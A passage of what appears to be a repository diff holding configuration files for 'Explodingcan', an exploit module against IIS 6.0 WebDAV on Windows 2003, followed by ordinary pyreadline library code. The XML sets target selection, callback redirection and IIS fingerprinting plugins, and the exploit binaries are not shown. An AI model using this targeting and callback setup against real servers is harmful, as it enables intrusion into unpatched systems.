<parameter type='U8' name='XorMask' description='Masking byte'/>
</paramgroup>
</paramchoice>
</outputparameters>
<errors>
<errorcode name='EXCA_SUCCESS' value='EDF_SUCCESS' description='Explodingcan executed successfully.'/>
</errors>
<redirection>
<local protocol='TCP' listenaddr='TargetIp' listenport='TargetPort' closeoncompletion='true' destaddr='TargetIp' destport='TargetPort'/>
<local protocol='TCP' listenaddr='TargetIp' listenport='ListenLocalPort' closeoncompletion='true' destaddr='TargetIp' destport='ListenPort'/>
<remote protocol='TCP' listenport='CallbackPort' listenaddr='CallbackIp' destport='CallbackLocalPort'/>
</redirection>
<logic>
<and>
<or>
<service name='http'>
<and>
<product version='6.0' name='Microsoft IIS'/>
<service name='http-option-propfind'>
<bindtovalue name='EnableSSL' value='false'/>
<bindtopath path="//service[name='http']/port" name='TargetPort'/>
<bindtopath path="//service[name='http']/product/misc_product_info[name='IISPathSize']/value" name='IISPathSize'/>
</service>
</and>
</service>
<service name='https'>
<and>
<product version='6.0' name='Microsoft IIS'/>
<service name='http-option-propfind'>
<bindtovalue name='EnableSSL' value='true'/>
<bindtopath path="//service[name='https']/port" name='TargetPort'/>
<bindtopath path="//service[name='https']/product/misc_product_info[name='IISPathSize']/value" name='IISPathSize'/>
</service>
</and>
</service>
</or>
<or>
<os servicepack='2' name='Windows 2003' family='windows'>
<bindtovalue name='Target' value='W2K3SP2'/>
</os>
<os servicepack='1' name='Windows 2003' family='windows'>
<bindtovalue name='Target' value='W2K3SP1'/>
</os>
<os servicepack='0' name='Windows 2003' family='windows'>
<bindtovalue name='Target' value='W2K3SP0'/>
</os>
<os servicepack='unknown' name='Windows 2003' family='windows'>
<or>
<os>
<bindtovalue name='Target' value='W2K3SP2'/>
</os>
<os>
<bindtovalue name='Target' value='W2K3SP0'/>
</os>
<os>
<bindtovalue name='Target' value='W2K3SP1'/>
</os>
</or>
</os>
</or>
<bindtovalue name='PayloadAccessType' value='Callback'/>
</and>
</logic>
</config>

Binary file not shown.

View file

@ -0,0 +1,32 @@
<?xml version="1.0"?>
<t:config id="9b6d2c7a836744e5cd54e4db262f09c67a5cae17"
name="Explodingcan"
version="2.0.2"
xmlns:xsi='http://www.w3.org/2001/XMLSchema-instance'
xmlns:t='tc0'>
<t:touchlist>
<t:plugin
name="Iistouch"
displayname="IIS Touch"
description="Touch to get IIS Info."
postmessage="Explodingcan requires WEBDAV on Windows 2003 IIS 6.0">
<t:ivparam name="TargetPort" value="TargetPort"/>
<t:ivparam name="TargetIp" value="TargetIp"/>
<t:ivparam name="NetworkTimeout" value="NetworkTimeout"/>
<t:ivparam name="EnableSSL" value="EnableSSL"/>
</t:plugin>
<t:plugin name="Explodingcantouch"
displayname="ExplodingCan Touch"
description="Determine the length of the path for IIS"
postmessage="ExplodingCan requires the length of the IIS path">
<t:ivparam name="TargetPort" value="TargetPort"/>
<t:ivparam name="TargetIp" value="TargetIp"/>
<t:ivparam name="Protocol" value="Protocol"/>
<t:ivparam name="NetworkTimeout" value="NetworkTimeout"/>
<t:ivparam name="maxSizeToCheck" value="maxSizeToCheck"/>
<t:oparam name="IISPathSize" value="IISPathSize"/>
<t:oparam name="hostString" value="hostString"/>
</t:plugin>
</t:touchlist>
</t:config>

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

View file

@ -0,0 +1,28 @@
# -*- coding: utf-8 -*-
#*****************************************************************************
# Copyright (C) 2006 Jorgen Stenarson. <jorgen.stenarson@bostream.nu>
#
# Distributed under the terms of the BSD License. The full license is in
# the file COPYING, distributed as part of this software.
#*****************************************************************************
import clr
clr.AddReferenceByPartialName(u"System.Windows.Forms")
import System.Windows.Forms.Clipboard as cb
def GetClipboardText():
text = ""
if cb.ContainsText():
text = cb.GetText()
return text
def SetClipboardText(text):
cb.SetText(text)
if __name__ == u'__main__':
txt = GetClipboardText() # display last text clipped
print txt

View file

@ -0,0 +1,18 @@
# -*- coding: utf-8 -*-
#*****************************************************************************
# Copyright (C) 2006 Jorgen Stenarson. <jorgen.stenarson@bostream.nu>
#
# Distributed under the terms of the BSD License. The full license is in
# the file COPYING, distributed as part of this software.
#*****************************************************************************
mybuffer = u""
def GetClipboardText():
return mybuffer
def SetClipboardText(text):
global mybuffer
mybuffer = text

View file

@ -0,0 +1,88 @@
#Bind keys for exit (keys only work on empty lines
#disable_readline(True) #Disable pyreadline completely.
debug_output("off") #"on" saves log info to./pyreadline_debug_log.txt
#"on_nologfile" only enables print warning messages
bind_exit_key("Control-d")
bind_exit_key("Control-z")
#Commands for moving
bind_key("Home", "beginning_of_line")
bind_key("End", "end_of_line")
bind_key("Left", "backward_char")
bind_key("Control-b", "backward_char")
bind_key("Right", "forward_char")
bind_key("Control-f", "forward_char")
bind_key("Alt-f", "forward_word")
bind_key("Alt-b", "backward_word")
bind_key("Clear", "clear_screen")
bind_key("Control-l", "clear_screen")
bind_key("Control-a", "beginning_of_line")
bind_key("Control-e", "end_of_line")
#bind_key("Control-l", "redraw_current_line")
#Commands for Manipulating the History
bind_key("Return", "accept_line")
bind_key("Control-p", "previous_history")
bind_key("Control-n", "next_history")
bind_key("Up", "history_search_backward")
bind_key("Down", "history_search_forward")
bind_key("Alt-<", "beginning_of_history")
bind_key("Alt->", "end_of_history")
bind_key("Control-r", "reverse_search_history")
bind_key("Control-s", "forward_search_history")
bind_key("Alt-p", "non_incremental_reverse_search_history")
bind_key("Alt-n", "non_incremental_forward_search_history")
bind_key("Control-z", "undo")
bind_key("Control-_", "undo")
#Commands for Changing Text
bind_key("Delete", "delete_char")
bind_key("Control-d", "delete_char")
bind_key("BackSpace", "backward_delete_char")
#bind_key("Control-Shift-v", "quoted_insert")
bind_key("Control-space", "self_insert")
bind_key("Control-BackSpace", "backward_delete_word")
#Killing and Yanking
bind_key("Control-k", "kill_line")
bind_key("Control-shift-k", "kill_whole_line")
bind_key("Escape", "kill_whole_line")
bind_key("Meta-d", "kill_word")
bind_key("Control-w", "unix_word_rubout")
#bind_key("Control-Delete", "forward_kill_word")
#Copy paste
bind_key("Shift-Right", "forward_char_extend_selection")
bind_key("Shift-Left", "backward_char_extend_selection")
bind_key("Shift-Control-Right", "forward_word_extend_selection")
bind_key("Shift-Control-Left", "backward_word_extend_selection")
bind_key("Control-m", "set_mark")
bind_key("Control-Shift-x", "copy_selection_to_clipboard")
#bind_key("Control-c", "copy_selection_to_clipboard") #Needs allow_ctrl_c(True) below to be uncommented
bind_key("Control-q", "copy_region_to_clipboard")
bind_key('Control-Shift-v', "paste_mulitline_code")
bind_key("Control-x", "cut_selection_to_clipboard")
bind_key("Control-v", "paste")
bind_key("Control-y", "yank")
bind_key("Alt-v", "ipython_paste")
#Unbinding keys:
#un_bind_key("Home")
#Other
bell_style("none") #modes: none, audible, visible(not implemented)
show_all_if_ambiguous("on")
mark_directories("on")
completer_delims(" \t\n\"\\'`@$><=;|&{(?")
complete_filesystem("off")
debug_output("off")
#allow_ctrl_c(True) #(Allows use of ctrl-c as copy key, still propagate keyboardinterrupt when not waiting for input)
history_filename("~/.pythonhistory")
history_length(200) #value of -1 means no limit
#set_mode("vi") #will cause following bind_keys to bind to vi mode as well as activate vi mode
#ctrl_c_tap_time_interval(0.3)

View file

@ -0,0 +1,30 @@
# -*- coding: UTF-8 -*-
# Example snippet to use in a PYTHONSTARTUP file
try:
import pyreadline.rlmain
#pyreadline.rlmain.config_path=r"c:\xxx\pyreadlineconfig.ini"
import readline,atexit
import pyreadline.unicode_helper
#
#
#Normally the codepage for pyreadline is set to be sys.stdout.encoding
#if you need to change this uncomment the following line
#pyreadline.unicode_helper.pyreadline_codepage="utf8"
except ImportError:
print "Module readline not available."
else:
#import tab completion functionality
import rlcompleter
#Override completer from rlcompleter to disable automatic ( on callable
completer_obj = rlcompleter.Completer()
def nop(val, word):
return word
completer_obj._callable_postfix = nop
readline.set_completer(completer_obj.complete)
#activate tab completion
readline.parse_and_bind("tab: complete")
readline.read_history_file()
atexit.register(readline.write_history_file)
del readline,rlcompleter,atexit

Binary file not shown.

View file

@ -0,0 +1,190 @@
# -*- coding: ISO-8859-1 -*-
import re,sys,os
terminal_escape = re.compile(u'(\001?\033\\[[0-9;]*m\002?)')
escape_parts = re.compile(u'\001?\033\\[([0-9;]*)m\002?')
class AnsiState(object):
def __init__(self,bold=False,inverse=False,color=u"white",background=u"black",backgroundbold=False):
self.bold = bold
self.inverse = inverse
self.color = color
self.background = background
self.backgroundbold = backgroundbold
trtable = {u"black":0, u"red":4, u"green":2, u"yellow":6,
u"blue":1, u"magenta":5, u"cyan":3, u"white":7}
revtable = dict(zip(trtable.values(),trtable.keys()))
def get_winattr(self):
attr = 0
if self.bold:
attr |= 0x0008
if self.backgroundbold:
attr |= 0x0080
if self.inverse:
attr |= 0x4000
attr |= self.trtable[self.color]
attr |= (self.trtable[self.background] << 4)
return attr
def set_winattr(self, attr):
self.bold = bool(attr & 0x0008)
self.backgroundbold = bool(attr & 0x0080)
self.inverse = bool(attr & 0x4000)
self.color = self.revtable[attr & 0x0007]
self.background = self.revtable[(attr & 0x0070) >> 4]
winattr=property(get_winattr,set_winattr)
def __repr__(self):
return u'AnsiState(bold=%s,inverse=%s,color=%9s,' \
u'background=%9s,backgroundbold=%s)# 0x%x'% \
(self.bold, self.inverse, '"%s"'%self.color,
'"%s"'%self.background, self.backgroundbold,
self.winattr)
def copy(self):
x = AnsiState()
x.bold = self.bold
x.inverse = self.inverse
x.color = self.color
x.background = self.background
x.backgroundbold = self.backgroundbold
return x
defaultstate = AnsiState(False,False,u"white")
trtable = {0:u"black", 1:u"red", 2:u"green", 3:u"yellow",
4:u"blue", 5:u"magenta", 6:u"cyan", 7:u"white"}
class AnsiWriter(object):
def __init__(self, default=defaultstate):
if isinstance(defaultstate, AnsiState):
self.defaultstate = default
else:
self.defaultstate=AnsiState()
self.defaultstate.winattr = defaultstate
def write_color(self,text, attr=None):
u'''write text at current cursor position and interpret color escapes.
return the number of characters written.
'''
if isinstance(attr,AnsiState):
defaultstate = attr
elif attr is None: #use attribute form initial console
attr = self.defaultstate.copy()
else:
defaultstate = AnsiState()
defaultstate.winattr = attr
attr = defaultstate
chunks = terminal_escape.split(text)
n = 0 # count the characters we actually write, omitting the escapes
res=[]
for chunk in chunks:
m = escape_parts.match(chunk)
if m:
parts = m.group(1).split(u";")
if len(parts) == 1 and parts[0] == u"0":
attr = self.defaultstate.copy()
continue
for part in parts:
if part == u"0": # No text attribute
attr = self.defaultstate.copy()
attr.bold=False
elif part == u"7": # switch on reverse
attr.inverse=True
elif part == u"1": # switch on bold (i.e. intensify foreground color)
attr.bold=True
elif len(part) == 2 and u"30" <= part <= u"37": # set foreground color
attr.color = trtable[int(part) - 30]
elif len(part) == 2 and u"40" <= part <= u"47": # set background color
attr.backgroundcolor = trtable[int(part) - 40]
continue
n += len(chunk)
if True:
res.append((attr.copy(), chunk))
return n,res
def parse_color(self,text, attr=None):
n,res=self.write_color(text, attr)
return n, [attr.winattr for attr, text in res]
def write_color(text, attr=None):
a = AnsiWriter(defaultstate)
return a.write_color(text, attr)
def write_color_old( text, attr=None):
u'''write text at current cursor position and interpret color escapes.
return the number of characters written.
'''
res = []
chunks = terminal_escape.split(text)
n = 0 # count the characters we actually write, omitting the escapes
if attr is None:#use attribute from initial console
attr = 15
for chunk in chunks:
m = escape_parts.match(chunk)
if m:
for part in m.group(1).split(u";"):
if part == u"0": # No text attribute
attr = 0
elif part == u"7": # switch on reverse
attr |= 0x4000
if part == u"1": # switch on bold (i.e. intensify foreground color)
attr |= 0x08
elif len(part) == 2 and u"30" <= part <= u"37": # set foreground color
part = int(part)-30
# we have to mirror bits
attr = (attr & ~0x07) | ((part & 0x1) << 2) | (part & 0x2) | ((part & 0x4) >> 2)
elif len(part) == 2 and u"40" <= part <= u"47": # set background color
part = int(part) - 40
# we have to mirror bits
attr = (attr & ~0x70) | ((part & 0x1) << 6) | ((part & 0x2) << 4) | ((part & 0x4) << 2)
# ignore blink, underline and anything we don't understand
continue
n += len(chunk)
if chunk:
res.append((u"0x%x"%attr, chunk))
return res
#trtable={0:"black",1:"red",2:"green",3:"yellow",4:"blue",5:"magenta",6:"cyan",7:"white"}
if __name__==u"__main__x":
import pprint
pprint=pprint.pprint
s=u"\033[0;31mred\033[0;32mgreen\033[0;33myellow\033[0;34mblue\033[0;35mmagenta\033[0;36mcyan\033[0;37mwhite\033[0m"
pprint (write_color(s))
pprint (write_color_old(s))
s=u"\033[1;31mred\033[1;32mgreen\033[1;33myellow\033[1;34mblue\033[1;35mmagenta\033[1;36mcyan\033[1;37mwhite\033[0m"
pprint (write_color(s))
pprint (write_color_old(s))
s=u"\033[0;7;31mred\033[0;7;32mgreen\033[0;7;33myellow\033[0;7;34mblue\033[0;7;35mmagenta\033[0;7;36mcyan\033[0;7;37mwhite\033[0m"
pprint (write_color(s))
pprint (write_color_old(s))
s=u"\033[1;7;31mred\033[1;7;32mgreen\033[1;7;33myellow\033[1;7;34mblue\033[1;7;35mmagenta\033[1;7;36mcyan\033[1;7;37mwhite\033[0m"
pprint (write_color(s))
pprint (write_color_old(s))
if __name__==u"__main__":
import console
import pprint
pprint=pprint.pprint
c=console.Console()
c.write_color(u"dhsjdhs")
c.write_color(u"\033[0;32mIn [\033[1;32m1\033[0;32m]:")
print
pprint (write_color(u"\033[0;32mIn [\033[1;32m1\033[0;32m]:"))
if __name__==u"__main__x":
import pprint
pprint=pprint.pprint
s=u"\033[0;31mred\033[0;32mgreen\033[0;33myellow\033[0;34mblue\033[0;35mmagenta\033[0;36mcyan\033[0;37mwhite\033[0m"
pprint (write_color(s))

Binary file not shown.

View file

@ -0,0 +1,16 @@
FOREGROUND_BLUE = 0x0001
FOREGROUND_GREEN = 0x0002
FOREGROUND_RED = 0x0004
FOREGROUND_INTENSITY = 0x0008
BACKGROUND_BLUE = 0x0010
BACKGROUND_GREEN = 0x0020
BACKGROUND_RED = 0x0040
BACKGROUND_INTENSITY = 0x0080
COMMON_LVB_LEADING_BYTE = 0x0100
COMMON_LVB_TRAILING_BYTE = 0x0200
COMMON_LVB_GRID_HORIZONTAL= 0x0400
COMMON_LVB_GRID_LVERTICAL = 0x0800
COMMON_LVB_GRID_RVERTICAL = 0x1000
COMMON_LVB_REVERSE_VIDEO = 0x2000
COMMON_LVB_UNDERSCORE = 0x4000

View file

@ -0,0 +1,52 @@
class baseconsole:
def __init__(self):
pass
def bell(self):
raise NotImplementedError
def pos(self, x=None, y=None):
u'''Move or query the window cursor.'''
raise NotImplementedError
def size(self):
raise NotImplementedError
def rectangle(self, rect, attr=None, fill=u' '):
u'''Fill Rectangle.'''
raise NotImplementedError
def write_scrolling(self, text, attr=None):
u'''write text at current cursor position while watching for scrolling.
If the window scrolls because you are at the bottom of the screen
buffer, all positions that you are storing will be shifted by the
scroll amount. For example, I remember the cursor position of the
prompt so that I can redraw the line but if the window scrolls,
the remembered position is off.
This variant of write tries to keep track of the cursor position
so that it will know when the screen buffer is scrolled. It
returns the number of lines that the buffer scrolled.
'''
raise NotImplementedError
def getkeypress(self):
u'''Return next key press event from the queue, ignoring others.'''
raise NotImplementedError
def write(self, text):
raise NotImplementedError
def page(self, attr=None, fill=' '):
u'''Fill the entire screen.'''
raise NotImplementedError
def isatty(self):
return True
def flush(self):
pass

Binary file not shown.

View file

@ -0,0 +1,424 @@
# -*- coding: utf-8 -*-
#*****************************************************************************
# Copyright (C) 2003-2006 Gary Bishop.
# Copyright (C) 2006 Jorgen Stenarson. <jorgen.stenarson@bostream.nu>
#
# Distributed under the terms of the BSD License. The full license is in
# the file COPYING, distributed as part of this software.
#*****************************************************************************
u'''Cursor control and color for the .NET console.
'''
#
# Ironpython requires a patch to work do:
#
# In file PythonCommandLine.cs patch line:
# class PythonCommandLine
# {
# to:
# public class PythonCommandLine
# {
#
#
#
# primitive debug printing that won't interfere with the screen
import clr,sys
clr.AddReferenceToFileAndPath(sys.executable)
import IronPythonConsole
import sys
import re
import os
import System
from event import Event
from pyreadline.logger import log
from pyreadline.keysyms import \
make_keysym, make_keyinfo, make_KeyPress, make_KeyPress_from_keydescr
from pyreadline.console.ansi import AnsiState
color = System.ConsoleColor
ansicolor={u"0;30": color.Black,
u"0;31": color.DarkRed,
u"0;32": color.DarkGreen,
u"0;33": color.DarkYellow,
u"0;34": color.DarkBlue,
u"0;35": color.DarkMagenta,
u"0;36": color.DarkCyan,
u"0;37": color.DarkGray,
u"1;30": color.Gray,
u"1;31": color.Red,
u"1;32": color.Green,
u"1;33": color.Yellow,
u"1;34": color.Blue,
u"1;35": color.Magenta,
u"1;36": color.Cyan,
u"1;37": color.White
}
winattr = {u"black" : 0, u"darkgray" : 0+8,
u"darkred" : 4, u"red" : 4+8,
u"darkgreen" : 2, u"green" : 2+8,
u"darkyellow" : 6, u"yellow" : 6+8,
u"darkblue" : 1, u"blue" : 1+8,
u"darkmagenta" : 5, u"magenta" : 5+8,
u"darkcyan" : 3, u"cyan" : 3+8,
u"gray" : 7, u"white" : 7+8}
class Console(object):
u'''Console driver for Windows.
'''
def __init__(self, newbuffer=0):
u'''Initialize the Console object.
newbuffer=1 will allocate a new buffer so the old content will be restored
on exit.
'''
self.serial = 0
self.attr = System.Console.ForegroundColor
self.saveattr = winattr[str(System.Console.ForegroundColor).lower()]
self.savebg = System.Console.BackgroundColor
log(u'initial attr=%s' % self.attr)
def _get(self):
top = System.Console.WindowTop
log(u"WindowTop:%s"%top)
return top
def _set(self, value):
top = System.Console.WindowTop
log(u"Set WindowTop:old:%s,new:%s"%(top, value))
WindowTop = property(_get, _set)
del _get, _set
def __del__(self):
u'''Cleanup the console when finished.'''
# I don't think this ever gets called
pass
def pos(self, x=None, y=None):
u'''Move or query the window cursor.'''
if x is not None:
System.Console.CursorLeft=x
else:
x = System.Console.CursorLeft
if y is not None:
System.Console.CursorTop=y
else:
y = System.Console.CursorTop
return x, y
def home(self):
u'''Move to home.'''
self.pos(0, 0)
# Map ANSI color escape sequences into Windows Console Attributes
terminal_escape = re.compile(u'(\001?\033\\[[0-9;]*m\002?)')
escape_parts = re.compile(u'\001?\033\\[([0-9;]*)m\002?')
# This pattern should match all characters that change the cursor position differently
# than a normal character.
motion_char_re = re.compile(u'([\n\r\t\010\007])')
def write_scrolling(self, text, attr=None):
u'''write text at current cursor position while watching for scrolling.
If the window scrolls because you are at the bottom of the screen
buffer, all positions that you are storing will be shifted by the
scroll amount. For example, I remember the cursor position of the
prompt so that I can redraw the line but if the window scrolls,
the remembered position is off.
This variant of write tries to keep track of the cursor position
so that it will know when the screen buffer is scrolled. It
returns the number of lines that the buffer scrolled.
'''
x, y = self.pos()
w, h = self.size()
scroll = 0 # the result
# split the string into ordinary characters and funny characters
chunks = self.motion_char_re.split(text)
for chunk in chunks:
n = self.write_color(chunk, attr)
if len(chunk) == 1: # the funny characters will be alone
if chunk[0] == u'\n': # newline
x = 0
y += 1
elif chunk[0] == u'\r': # carriage return
x = 0
elif chunk[0] == u'\t': # tab
x = 8 * (int(x / 8) + 1)
if x > w: # newline
x -= w
y += 1
elif chunk[0] == u'\007': # bell
pass
elif chunk[0] == u'\010':
x -= 1
if x < 0:
y -= 1 # backed up 1 line
else: # ordinary character
x += 1
if x == w: # wrap
x = 0
y += 1
if y == h: # scroll
scroll += 1
y = h - 1
else: # chunk of ordinary characters
x += n
l = int(x / w) # lines we advanced
x = x % w # new x value
y += l
if y >= h: # scroll
scroll += y - h + 1
y = h - 1
return scroll
trtable = {0 : color.Black, 4 : color.DarkRed, 2 : color.DarkGreen,
6 : color.DarkYellow, 1 : color.DarkBlue, 5 : color.DarkMagenta,
3 : color.DarkCyan, 7 : color.Gray, 8 : color.DarkGray,
4+8 : color.Red, 2+8 : color.Green, 6+8 : color.Yellow,
1+8 : color.Blue, 5+8 : color.Magenta,3+8 : color.Cyan,
7+8 : color.White}
def write_color(self, text, attr=None):
'''write text at current cursor position and interpret color escapes.
return the number of characters written.
'''
log(u'write_color("%s", %s)' % (text, attr))
chunks = self.terminal_escape.split(text)
log(u'chunks=%s' % repr(chunks))
bg = self.savebg
n = 0 # count the characters we actually write, omitting the escapes
if attr is None:#use attribute from initial console
attr = self.attr
try:
fg = self.trtable[(0x000f&attr)]
bg = self.trtable[(0x00f0&attr)>>4]
except TypeError:
fg = attr
for chunk in chunks:
m = self.escape_parts.match(chunk)
if m:
log(m.group(1))
attr = ansicolor.get(m.group(1), self.attr)
n += len(chunk)
System.Console.ForegroundColor = fg
System.Console.BackgroundColor = bg
System.Console.Write(chunk)
return n
def write_plain(self, text, attr=None):
u'''write text at current cursor position.'''
log(u'write("%s", %s)' %(text, attr))
if attr is None:
attr = self.attr
n = c_int(0)
self.SetConsoleTextAttribute(self.hout, attr)
self.WriteConsoleA(self.hout, text, len(text), byref(n), None)
return len(text)
if os.environ.has_key(u"EMACS"):
def write_color(self, text, attr=None):
junk = c_int(0)
self.WriteFile(self.hout, text, len(text), byref(junk), None)
return len(text)
write_plain = write_color
# make this class look like a file object
def write(self, text):
log(u'write("%s")' % text)
return self.write_color(text)
#write = write_scrolling
def isatty(self):
return True
def flush(self):
pass
def page(self, attr=None, fill=u' '):
u'''Fill the entire screen.'''
System.Console.Clear()
def text(self, x, y, text, attr=None):
u'''Write text at the given position.'''
self.pos(x, y)
self.write_color(text, attr)
def clear_to_end_of_window(self):
oldtop = self.WindowTop
lastline = self.WindowTop+System.Console.WindowHeight
pos = self.pos()
w, h = self.size()
length = w - pos[0] + min((lastline - pos[1] - 1), 5) * w - 1
self.write_color(length * u" ")
self.pos(*pos)
self.WindowTop = oldtop
def rectangle(self, rect, attr=None, fill=u' '):
u'''Fill Rectangle.'''
oldtop = self.WindowTop
oldpos = self.pos()
#raise NotImplementedError
x0, y0, x1, y1 = rect
if attr is None:
attr = self.attr
if fill:
rowfill = fill[:1] * abs(x1 - x0)
else:
rowfill = u' ' * abs(x1 - x0)
for y in range(y0, y1):
System.Console.SetCursorPosition(x0, y)
self.write_color(rowfill, attr)
self.pos(*oldpos)
def scroll(self, rect, dx, dy, attr=None, fill=' '):
u'''Scroll a rectangle.'''
raise NotImplementedError
def scroll_window(self, lines):
u'''Scroll the window by the indicated number of lines.'''
top = self.WindowTop + lines
if top < 0:
top = 0
if top + System.Console.WindowHeight > System.Console.BufferHeight:
top = System.Console.BufferHeight
self.WindowTop = top
def getkeypress(self):
u'''Return next key press event from the queue, ignoring others.'''
ck = System.ConsoleKey
while 1:
e = System.Console.ReadKey(True)
if e.Key == System.ConsoleKey.PageDown: #PageDown
self.scroll_window(12)
elif e.Key == System.ConsoleKey.PageUp:#PageUp
self.scroll_window(-12)
elif str(e.KeyChar) == u"\000":#Drop deadkeys
log(u"Deadkey: %s"%e)
return event(self, e)
else:
return event(self, e)
def title(self, txt=None):
u'''Set/get title.'''
if txt:
System.Console.Title = txt
else:
return System.Console.Title
def size(self, width=None, height=None):
u'''Set/get window size.'''
sc = System.Console
if width is not None and height is not None:
sc.BufferWidth, sc.BufferHeight = width,height
else:
return sc.BufferWidth, sc.BufferHeight
if width is not None and height is not None:
sc.WindowWidth, sc.WindowHeight = width,height
else:
return sc.WindowWidth - 1, sc.WindowHeight - 1
def cursor(self, visible=True, size=None):
u'''Set cursor on or off.'''
System.Console.CursorVisible = visible
def bell(self):
System.Console.Beep()
def next_serial(self):
u'''Get next event serial number.'''
self.serial += 1
return self.serial
class event(Event):
u'''Represent events from the console.'''
def __init__(self, console, input):
u'''Initialize an event from the Windows input structure.'''
self.type = u'??'
self.serial = console.next_serial()
self.width = 0
self.height = 0
self.x = 0
self.y = 0
self.char = str(input.KeyChar)
self.keycode = input.Key
self.state = input.Modifiers
log(u"%s,%s,%s"%(input.Modifiers, input.Key, input.KeyChar))
self.type = "KeyRelease"
self.keysym = make_keysym(self.keycode)
self.keyinfo = make_KeyPress(self.char, self.state, self.keycode)
def make_event_from_keydescr(keydescr):
def input():
return 1
input.KeyChar = u"a"
input.Key = System.ConsoleKey.A
input.Modifiers = System.ConsoleModifiers.Shift
input.next_serial = input
e = event(input,input)
del input.next_serial
keyinfo = make_KeyPress_from_keydescr(keydescr)
e.keyinfo = keyinfo
return e
CTRL_C_EVENT=make_event_from_keydescr(u"Control-c")
def install_readline(hook):
def hook_wrap():
try:
res = hook()
except KeyboardInterrupt,x: #this exception does not seem to be caught
res = u""
except EOFError:
return None
if res[-1:] == u"\n":
return res[:-1]
else:
return res
class IronPythonWrapper(IronPythonConsole.IConsole):
def ReadLine(self, autoIndentSize):
return hook_wrap()
def Write(self, text, style):
System.Console.Write(text)
def WriteLine(self, text, style):
System.Console.WriteLine(text)
IronPythonConsole.PythonCommandLine.MyConsole = IronPythonWrapper()
if __name__ == u'__main__':
import time, sys
c = Console(0)
sys.stdout = c
sys.stderr = c
c.page()
c.pos(5, 10)
c.write(u'hi there')
c.title(u"Testing console")
# c.bell()
print
print u"size", c.size()
print u' some printed output'
for i in range(10):
e = c.getkeypress()
print e.Key, chr(e.KeyChar), ord(e.KeyChar), e.Modifiers
del c
System.Console.Clear()

Binary file not shown.

View file

@ -0,0 +1,18 @@
import sys,textwrap
rlmain = sys.modules[u"pyreadline.rlmain"]
rl = rlmain.rl
def get_doc(rl):
methods = [(x, getattr(rl, x)) for x in dir(rl) if callable(getattr(rl, x))]
return [ (x, m.__doc__ )for x, m in methods if m.__doc__]
def get_rest(rl):
q = get_doc(rl)
out = []
for funcname, doc in q:
out.append(funcname)
out.append(u"\n".join(textwrap.wrap(doc, 80, initial_indent=u" ")))
out.append(u"")
return out

View file

@ -0,0 +1,20 @@
import sys
success = False
in_ironpython = u"IronPython" in sys.version
if in_ironpython:
try:
from ironpython_keysyms import *
success = True
except ImportError, x:
raise
else:
try:
from keysyms import *
success = True
except ImportError, x:
pass
if not success:
raise ImportError(u"Could not import keysym for local pythonversion", x)

View file

@ -0,0 +1,127 @@
# -*- coding: utf-8 -*-
#*****************************************************************************
# Copyright (C) 2003-2006 Gary Bishop.
# Copyright (C) 2006 Jorgen Stenarson. <jorgen.stenarson@bostream.nu>
#
# Distributed under the terms of the BSD License. The full license is in
# the file COPYING, distributed as part of this software.
#*****************************************************************************
# table for translating virtual keys to X windows key symbols
try:
set
except NameError:
from sets import Set as set
from pyreadline.unicode_helper import ensure_unicode
validkey =set([u'cancel', u'backspace', u'tab', u'clear',
u'return', u'shift_l', u'control_l', u'alt_l',
u'pause', u'caps_lock', u'escape', u'space',
u'prior', u'next', u'end', u'home',
u'left', u'up', u'right', u'down',
u'select', u'print', u'execute', u'snapshot',
u'insert', u'delete', u'help', u'f1',
u'f2', u'f3', u'f4', u'f5',
u'f6', u'f7', u'f8', u'f9',
u'f10', u'f11', u'f12', u'f13',
u'f14', u'f15', u'f16', u'f17',
u'f18', u'f19', u'f20', u'f21',
u'f22', u'f23', u'f24', u'num_lock',
u'scroll_lock', u'vk_apps', u'vk_processkey',u'vk_attn',
u'vk_crsel', u'vk_exsel', u'vk_ereof', u'vk_play',
u'vk_zoom', u'vk_noname', u'vk_pa1', u'vk_oem_clear',
u'numpad0', u'numpad1', u'numpad2', u'numpad3',
u'numpad4', u'numpad5', u'numpad6', u'numpad7',
u'numpad8', u'numpad9', u'divide', u'multiply',
u'add', u'subtract', u'vk_decimal'])
escape_sequence_to_special_key = {u"\\e[a" : u"up", u"\\e[b" : u"down", u"del" : u"delete"}
class KeyPress(object):
def __init__(self, char=u"", shift=False, control=False, meta=False, keyname=u""):
if control or meta or shift:
char = char.upper()
self.info = dict(char=char,
shift=shift,
control=control,
meta=meta,
keyname=keyname)
def create(name):
def get(self):
return self.info[name]
def set(self, value):
self.info[name] = value
return property(get, set)
char = create(u"char")
shift = create(u"shift")
control = create(u"control")
meta = create(u"meta")
keyname = create(u"keyname")
def __repr__(self):
return u"(%s,%s,%s,%s)"%tuple(map(ensure_unicode, self.tuple()))
def tuple(self):
if self.keyname:
return (self.control, self.meta, self.shift, self.keyname)
else:
if self.control or self.meta or self.shift:
return (self.control, self.meta, self.shift, self.char.upper())
else:
return (self.control, self.meta, self.shift, self.char)
def __eq__(self, other):
if isinstance(other, KeyPress):
s = self.tuple()
o = other.tuple()
return s == o
else:
return False
def make_KeyPress_from_keydescr(keydescr):
keyinfo = KeyPress()
if len(keydescr) > 2 and keydescr[:1] == u'"' and keydescr[-1:] == u'"':
keydescr = keydescr[1:-1]
while 1:
lkeyname = keydescr.lower()
if lkeyname.startswith(u'control-'):
keyinfo.control = True
keydescr = keydescr[8:]
elif lkeyname.startswith(u'ctrl-'):
keyinfo.control = True
keydescr = keydescr[5:]
elif keydescr.lower().startswith(u'\\c-'):
keyinfo.control = True
keydescr = keydescr[3:]
elif keydescr.lower().startswith(u'\\m-'):
keyinfo.meta = True
keydescr = keydescr[3:]
elif keydescr in escape_sequence_to_special_key:
keydescr = escape_sequence_to_special_key[keydescr]
elif lkeyname.startswith(u'meta-'):
keyinfo.meta = True
keydescr = keydescr[5:]
elif lkeyname.startswith(u'alt-'):
keyinfo.meta = True
keydescr = keydescr[4:]
elif lkeyname.startswith(u'shift-'):
keyinfo.shift = True
keydescr = keydescr[6:]
else:
if len(keydescr) > 1:
if keydescr.strip().lower() in validkey:
keyinfo.keyname = keydescr.strip().lower()
keyinfo.char = ""
else:
raise IndexError(u"Not a valid key: '%s'"%keydescr)
else:
keyinfo.char = keydescr
return keyinfo
if __name__ == u"__main__":
import startup

View file

@ -0,0 +1,202 @@
# -*- coding: utf-8 -*-
#*****************************************************************************
# Copyright (C) 2003-2006 Gary Bishop.
# Copyright (C) 2006 Jorgen Stenarson. <jorgen.stenarson@bostream.nu>
